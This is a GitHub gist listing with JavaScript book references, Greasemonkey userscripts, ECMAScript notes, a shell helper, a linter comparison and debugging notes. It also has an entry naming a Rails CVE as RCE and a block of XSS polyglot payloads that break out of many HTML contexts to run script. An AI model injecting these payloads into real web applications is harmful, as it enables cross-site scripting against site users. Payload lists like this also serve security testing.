Skip to content

Instantly share code, notes, and snippets.

@azu
azu / READ.md
Last active May 8, 2021 14:23
JavaScriptの本を書くときに参考にしてるもの

jsprimerというJavaScriptの書籍を書いている。 これを書いてるときに参考にしているものを書いていく。

ECMAScriptのLiving Standardな仕様書ページ。 スナップショットなECMAScriptの仕様書ページもあるけど、基本的にはLiving Standardの方しか見てない。

@azu
azu / npm: package support types.user.js
Last active December 17, 2020 13:38
Greamonkey Scripts: detect npm package support TypeScript.
// ==UserScript==
// @name npm: package support types
// @namespace info.efcl
// @match https://www.npmjs.com/package/*
// @grant GM_xmlhttpRequest
// ==/UserScript==
// License: MIT © azu
const NAME = "$Greasemonkey:package support types$";
const fetchPackage = (packageName) => {
@azu
azu / geocities:redirect-to-wayback.user.js
Last active May 30, 2019 01:35
Yahoo! ジオシティをInternet ArchiveにリダイレクトするGreasemonkey
// ==UserScript==
// @name geocities:redirect-to-wayback
// @namespace info.efcl.geocities-redirect-to-wayback
// @match http://www.geocities.jp/*
// @match https://www.geocities.jp/*
// @grant none
// ==/UserScript==
// See also
// https://qiita.com/__cooper/items/5ec5453c82fd3b03d7f6
@azu
azu / 2018-2019.md
Last active April 6, 2019 06:45
ECMAScript Proposal Diff between 2018 - 2019.
@azu
azu / README.md
Last active April 6, 2019 00:44
2019年4月6日(土): #TC39MTG ECMAScript議事録の読書会
@mala
mala / CVE-2019-5418_is_RCE.md
Last active February 7, 2021 04:25
Rails の CVE-2019-5418 は RCE (Remote code execution) です
@michenriksen
michenriksen / xss-polyglots.txt
Created October 31, 2018 14:10
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
npm-remove-interactive()
{
local k results
while out=$(
cat package.json \
| jq '.devDependencies * .dependencies | keys[]' \
| fzf --ansi --multi --no-sort --reverse --query="$q" \
--print-query --expect=ctrl-d); do
q=$(head -1 <<< "$out")
k=$(head -2 <<< "$out" | tail -1)
@jdkato
jdkato / comp.md
Last active September 9, 2018 20:12
A comparison of open-source linters
Tool Extensible Checks Supports Markup
Vale Yes (via YAML) spelling, style Yes (Markdown, AsciiDoc, reStructuredText)
textlint Yes (via JavaScript) spelling, style Yes (Markdown, AsciiDoc, reStructuredText, Re:VIEW)
RedPen Yes (via Java) spelling, style Yes (Markdown, AsciiDoc, reStructuredText, Textile, LaTeX)
Rousseau Yes (via JavaScript) spelling, style No
write-good No style No
proselint No style No
Joblint No style

Time Travel Debugging

Time Travel refers to the ability to record a tab and later replay it ([WebReplay][wrr]). The technology is useful for local development, where you might want to:

  • pause and step forwards or backwards
  • pause and rewind to a prior state
  • rewind to the time a console message was logged
  • rewind to the time an element had a certain style or layout
  • rewind to the time a network asset loaded